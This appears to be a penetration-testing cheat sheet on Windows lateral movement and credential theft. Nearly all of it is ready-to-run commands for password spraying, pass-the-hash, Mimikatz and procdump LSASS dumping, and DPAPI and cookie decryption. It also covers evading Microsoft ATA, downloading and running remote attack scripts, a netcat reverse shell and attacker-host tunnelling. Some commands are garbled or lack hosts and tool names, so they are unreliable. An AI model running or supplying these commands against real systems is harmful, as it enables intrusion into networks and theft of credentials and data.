Lateral Movement


  • Blend in with internal protocols:

    • SMB ( Psexec, schtasks, sc, WMIC)

    • RDP

    • SSH

    • VNC

    • WinRM (PowerShell)

Firewall configuration

netsh advfirewall firewall add rule name="firestone proxy" dir=in action=allow protocol=tcp localport=45001

Password Spraying

crackmapexec smb <IP/24> -u usernames -p Passwords --continue-on-success --ufail-limit 3
crackmapexec smb -u Administrator -p 'P@ssw0rd' -x whoami --shares
crackmapexec smb -u winlab -H <Hash> --local-auth --lsa

kerbrute_linux_amd64 password spray -v -d <domain> --dc <IP> users.txt <Pass>

#Brute-force password
/kerbrute_linux_amd64 bruteuser --dc <IP> -d <domain.local> rockyou.txt <username>

pth-winexe //<IP> -U <Username>%<Pass/hash> cmd 

evil-winrm -u <username> -H <Hash> -i <IP> <hostname>/Administrator:<password>@ <domain>.<local>/Administrator@<IP> -hashes "<hash>" 
git clone
./ -smb /users.txt /pass.txt <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <Domain> skipuu 

pth-winexe -U Administrator%<HASH> //<IP>/cmd
pth-winexe --system -U 'admin%<HA:SH>' // cmd.exe

Wmic /node:COMPUTER/user:DOMAIN\USER /password:PASSWORD process call create “COMMAND“
#PowerShell (WMI)
Invoke-WMIMethod -Class Win32_Process -Name Create –ArgumentList $COMMAND –ComputerName $COMPUTER -Credential $CRED
#Does not drop into NT Authority/SYSTEM

evil-winrm -u 'user' -H '<:LM Hash>' -i <IP> -s <PS_SCRIPTS_LOCAL_PATH>


#PowerShell Remoting
Invoke-Command –computername $COMPUTER -command { $COMMAND}
New-PSSession -Name PSCOMPUTER –ComputerName $COMPUTER; Enter-PSSession -Name PSCOMPUTER

iex (iwr http://<IP>/Invoke-Mimikatz.ps1 -UseBasicParsing)
Invoke-command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sess

Kerberos Double Hop Workaround


If you obtain the shell through pass the hash or pass the ticket, you perform a network login, which means you run into the Kerberos double hop issue.

The way around it is to perform an interactive login, but that requires the clear text creds.

Psremoting uses pass the ticket. It’s how Kerberos is meant to work and a limitation - it’s actually the entire reason Kerberos delegation was invented.

Often the simplest way is to perform process migration/injection into a system process and perform actions from that, as that acts in the context of the computer account which did a interactive login at startup

$username = 'devmanager'
$password = 'F0rRunning$cheduledTasks!'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Invoke-Command -ComputerName CASC-DC1.CASCADE.LOCAL -Credential $credential -scriptblock {powershell.exe -c "IEX(iwr -UseBasicParsing)" }

#Invoke hostname on 3rd server
$cred = Get-Credential Contoso\Administrator
Invoke-Command -ComputerName ServerB -Credential $cred -ScriptBlock {
    Invoke-Command -ComputerName ServerC -Credential $Using:cred -ScriptBlock {hostname}

#Port forwarding from host to Target's WinRM
netsh interface portproxy add v4tov4 listenport=5446 listenaddress= connectport=5985 connectaddress=
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
Enter-PSSession Session1 -Credential domain\user

#Creates a new session configuration on the remote computer
#when connected, forces it to always run with the credential provided.
Invoke-Command -ComputerName <Hop1PC> -ScriptBlock { Register-PSSessionConfiguration -Name Creds -RunAsCredential <domain-name>\<domainaccount> -Force }
Invoke-Command -ScriptBlock {\\<Kali-IP>\revshell.exe 10.10.x.x 4445} -Credential  <Hop1PC> -ConfigurationName Creds

#Run a process as a different user
$secpasswd = ConvertTo-SecureString "<pass>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<domain\username>", $secpasswd)
$computer = "<COMPUTER_NAME>"

Start-Process powershell.exe -Credential $Using:mycreds -NoNewWindow
$s = New-PSSession -Credential $mycreds
Invoke-Command -Session $s -Scriptblock {whoami} 

#Enable RDP on target
#1.Add yourself to the remote desktop users group
#2. Enable on target using Powershell
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

#3.Execute from a shell. Do not execute from PSRemoting session.
#If you execute the following commands from a Remote Powershell session, you will be disconnected because we set the RDP listen port to 5985, 
#so we will have to sc.exe stop WinRM before running Remote Desktop Service

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" -Name PortNumber -Value 5985
sc.exe stop WinRM
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

runas /netonly /user:garrison.local\Administrator powershell.exe


  • Required CIFS ticket on target.

  • Requires manual deletion using sc

#psexec. Drops into NT Authority/SYSTEM BLACKFIELD.local/<user>@<IP> -hashes ":<NT hash>" 

#Execute local executable on remote system
psexec.exe \\REMOTECOMPUTER –i -c <localfile.exe> /accepteula

#Execute as SYSTEM
psexec -s cmd

#enable PSRemote remotely
$computerName = 'REMOTECOMPUTER'
psexec "\\$Computername" -s c:\windows\system32\winrm.cmd quickconfig -quiet 2&>&1> $null 

PowerShell Remoting


  • One-to-one

    • Runs in a process: wsmprovhost

    • Stateful

    • Requires Local Admin Privs on target

    • Credentials are not left on target unless there's CREDSSP, Constrained Delegation

  • One-to-many

    • Run command and scripts on thousands of machines even as background jobs.

    • Idealfor passing hashes and using credentials on multiple computers.

    • Commands are executed in parallel

    • Non-Interactive

    • Commandlet: Invoke-Command

Start an Interactive Session

  • Tip: Find machines where current user has Local Admin Access using Find-LocalAdminAccess.

//Works on machines where current user has Local Admin Access.
Enter-PSSession -ComputerName pc1.domain.local 

Enter-PSSession -ComputerName -Credential domain\username

//Create a new session
New-PSSession -ComputerName -Credential domain\username
Enter-PSSession -ComputerName -Credential domain\username

//List sessions
Get-PSSession -ComputerName -Credential domain\username


#Stateful property
$sess = New-PSSession -ComputerName pc1.domain.local
Enter-PSSession -Session $sess

*Exits & reconnects*

Enable PS Remoting Remotely

$command = 'cmd /c powershell.exe -c Set-WSManQuickConfig -Force;Set-Item WSMan:\localhost\Service\Auth\Basic -Value $True;Set-Item WSMan:\localhost\Service\AllowUnencrypted -Value $True;Register-PSSessionConfiguration -Name Microsoft.PowerShell -Force'
Invoke-WmiMethod -Path Win32_process -Name create -ComputerName remote-computer -Credential domain\user -ArgumentList $command

#With DA privileges
Set-RemotePSRemoting –SamAccountName studentx -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose

Execute Commands

Invoke-Command -ScriptBlock {Get-Process} -ComputerName (Get-Content <File containing list of servers>)
Invoke-Command -Session $sessionname -FilePath 'path to the powershell script'
//Where the session argument is:
$sessionname= New-PSSession -ComputerName <IP> -Credential <domain/username> -Name anysessionname

#Load from function store
. .\name_of_function.ps1
Invoke-Command -ComputerName Server01 -ScriptBlock ${function:name_of_function}
Invoke-command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sess

#Opens new cmd window
runas /user:<domain>\<user> cmd.exe

#Start a process as another user
$username = "DOMAIN\USER"
$password = "PASSWORD"
$credentials = New-Object System.Management.Automation.PSCredential -ArgumentList @($username,(ConvertTo-SecureString -String $password -AsPlainText -Force))
Start-Process  nc64.exe -ArgumentList '-e cmd.exe xx.xx.xx.xx 80' -Credential ($credentials)




The LSA, which includes the Local Security Authority Server Service (LSASS) process, validates users for local and remote sign-ins and enforces local security policies. LSA Protection prevents non-protected processes from interacting with LSASS. Mimikatz can still bypass this with a driver

  • Run Powershell as Administrator

  • Using the code from ReflectivePEInjection, mimikatz is loaded reflectively into the memory. All the functions of mimikatz could be used from this script.

  • Requires administrator and often debug rights.


#Ways to dump credentials from memory

-Dumping LSASS from Task Manager
get-process lsass
tasklist | findstr lsass
procdump.exe -accepteula -ma “lsass.exe” out.dmp
procdump.exe -accepteula -ma 580 out.dmp
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PID] C:\temp\out.dmp full

crackmapexec smb -u testadmin -p Password123 --lsa

#From Windows
sekurlsa::minidump  c:\lsass.dmp
log lsass.txt

#From Linux
pypykatz lsa minidump lsass.DMP 

#Enable WDigest to store clear-text credentials
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1


sekurlsa::tickets /export
kerberos::ptt <file>.kirbi

lsadump::lsa /inject
lsadump::trust /patch
lsadump::lsa /patch

lsadump::dcsync /user:dcorp\krbtgt

#Cached logons. Can’t perform “pass-the-hash” style attacks with this type of hash.
"token::elevate" "lsadump::cache"
hashcat -m2100 '$DCC2$10240#<NAME>#<HASH>' /usr/share/wordlists/rockyou.txt --force --potfile-disable

#Restore NT hash of a user
lsadump::setntlm /user:<user> /ntlm:<hash>

#Export private certificates
Invoke-Mimikatz –DumpCerts

#SSP Attack: Store passwords of all logins in clear-text to c:\Windows\System32\mimilsa.log
"privilege::debug" "misc::memssp"

#Credential Manager 
#Extract credentials from Credential Vault from "\AppData\Local\Microsoft\Vault"

#Extract credentials from Credential Vault from "\AppData\Local\Microsoft\Credentials"

#List plain-text creds [Risky]
"vault::cred" /patch

#DPAPI Abuse

dir /a c:\Users\<username>\appdata\local\microsoft\credentials\<Credential file>\

#Copy Master Key
dpapi::cred /in:c:\Users\<username>\appdata\local\microsoft\credentials\<Credential file>\

#Grab GUID Master Key value
dir /a c:\Users\<username>\appdata\roaming\microsoft\protect\<GUID Master key value>

#Grab Master Key to Decrypt
dpapi::masterkey /in:c:\Users\<username>\appdata\roaming\microsoft\protect\<GUID Master key value> /rpc

dpapi::cred /in:c:\Users\<username>\appdata\local\microsoft\credentials\<Credential file> /masterkey:<Key value from above command>

#Dump Domain-wide DPAPI Backup Key from DC
lsadump::backupkeys /system:<DC> /export

#Decrypt target user's master key using DPAPI Backup key
dpapi::masterkey /in:"<User-master-key>" /pvk:"Domain-backup-key"

#Decrypt cookie values with target user's master key
dpapi::chrome /masterkey:<user-master-key> /in:<Path-to-chrome-cookies>
#Crack masterkey with user's clear-text pass
dpapi::masterkey /in:<Users-key> /sid:<User-SID> /password:<password> /protected

#Without knowing the password, but with code exec, extract domain key from DC
dpapi::masterkey /in:"%appdata\Microsoft\Protect\<SID>\<Master-key-GUID> /rpc

#Decrypt credentials from Windows Vault using master key
dpapi::creds /in:<creds> /masterkey:<masterkey> /unprotect

Over Pass The Hash

  • Obtain Kerberos tickets from NTLM hash.

  • An attacker can leverage the NTLM hash of another user account to obtain a Kerberos ticket which can be used to access network resources. This can come in handy if you are only able to obtain the NTLM hash for an account, but require Kerberos authentication to reach your destination.

  • Likely to cause an alert since the encryption method of the EncryptedTimestamp field in AS_REQ is being downgraded.

  • To make this attack stealthier, use NTLM + AES keys [aes256_hmac + aes128_hmac]

    • aes128 keys can be specified even if they do not actually exist.

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:<ntlmhash> /run:powershell.exe"'

#To bypass Microsoft ATA, pass AES keys as well.
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:<ntlmhash> /aes256:<aeshash> /aes128:<Aes key> /run:powershell.exe"'

#Get a reverse shell using NTLM hash
$Contents = 'powershell.exe -c iex ((New-Object Net.WebClient).DownloadString(''<IP>/Invoke-PowerShellTcp.ps1''))'
Out-File -Encoding Ascii -InputObject $Contents -FilePath C:\blah\reverse.bat
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.local /ntlm:<ntlm> /run:C:\blah\reverse.bat"'


#Convert clear-text password to hash
Rubeus.exe hash /password:Password123!
Rubeus.exe hash /password:Password123! /user:harmj0y /domain:testlab.local

#Request a TGT
Rubeus.exe asktgt /user:<user> /rc4:<hash> /ptt

#Request a TGT impersonating Administrator
.\Rubeus.exe s4u /user:<user A> /rc4:<User A's hash> /impersonateuser:Administrator /msdsspn:"CIFS/<Service-PC-Name>" /ptt

tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f
#Request TGS 
tgs::s4u /tgt:<TGT-file.kirbi> /user:Administrator@<domain> /service:cifs/dcorpmssql.dollarcorp.moneycorp.LOCAL

#Monitor for new TGTs
.\Rubeus.exe monitor /interval:5 /nowrap

#By default TGTs are valid for 10h. However TGTs can be renewed for upto 7 days
Rubeus.exe renew /ticket:<ticket> /autorenew


  • DCOM is performed over RPC on TCP port 135 and local administrator access is required to call the DCOM Service Control Manager, which is essentially an API.

  • Requires LA privileges on target.

  • Requires the presence of Microsoft Office on the target computer.


$com = [Type]::GetTypeFromProgID('Outlook.Application’,’’)
$object = [System.Activator]::CreateInstance($com)
$RemoteScriptControl = $object.CreateObject(“ScriptControl”)

#Compiling the “payload” in C#, & pass it to DotNetToJScript. Save output to $code
$RemoteScriptControl.Language = “JScript”

#Excel: Create a macro-enabled excel docm

$com = [activator]::CreateInstance([type]::GetTypeFromProgId("Excel.Application","<Remote-IP>"))
$LocalPath = "C:\Users\jeff_admin.corp\myexcel.xls"
$RemotePath = "\\\c$\myexcel.xls"
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)
$Path = "\\\c$\Windows\sysWOW64\config\systemprofile\Desktop"
$temp = []::createDirectory($Path)
$Workbook = $com.Workbooks.Open("C:\myexcel.xls")

Invoke-ExcelMacroPivot -Target "" -RemoteDocumentPath "C:\Book1.xlsm" -MacroName "Auto_Open"

#PowerPoint: Create a PowerPoint add-in from this content, you must save as either a PPA / PPAM file

$com = [activator]::**CreateInstance**([type]::**GetTypeFromProgId**("PowerPoint.Application", ""))
$addin = $com.AddIns.**Add**("c:\testfile.ppam")


Port Forwarding

gss-api proxy

  • This creates a proxy on port 8080 on the target.

  • Once port forward is set up to the attackers host, gss-api proxy enabled us to hijack the victim's active kerberos tickets to access intranet sites.

#May need to bypass UAC initially

Firewall Rules Modification

netsh advfirewall firewall add rule name="NAME" dir=in action=allow protocol=tcp localport=PORT

use multi/manage/autoroute

#Reverse port forward. 
run portfwd -R -p <Remote pivot port> -l <Local port to listen on> -L <Local Host IP to listen on>

#Set up SOCKS proxy [/etc/proxychains.conf] 
use auxiliary/server/socks4a
to same as -l
  • Download from here

  • Copy binary + Private_Key.ppk to target.

  • Establish reverse connection to Attacker's SSH server to create an SSH tunnel.

gedit /etc/ssh/sshd_config

Plink.exe is a Windows command line version of the PuTTY SSH client. Now that Windows comes with its own inbuilt SSH client, plink is less useful for modern servers.

  • Transfer binary to the target

  • Use it to create a reverse connection. cmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -N

  • Keys will not work properly here. Convert from id_rsa to KEY.ppk

#Generate SSH keys using ssh-keygen
sudo apt install putty-tools
puttygen KEYFILE -o OUTPUT_KEY.ppk

The resulting .ppk file can then be transferred to the Windows target and used in exactly the same way as with the Reverse port forwarding taught in the previous task (despite the private key being converted, it will still work perfectly with the same public key we added to the authorized_keys file)


- Article on using a proxy to an internal network.

#/etc/proxychains.conf [Disable 'proxy_dns']
socks4 8080

#For Kerberos process to work, include entries for FQDN and NetBIOS names dc-01 workstation-01

route add 1

#Execute required tool
proxychains -request -dc-ip

Last updated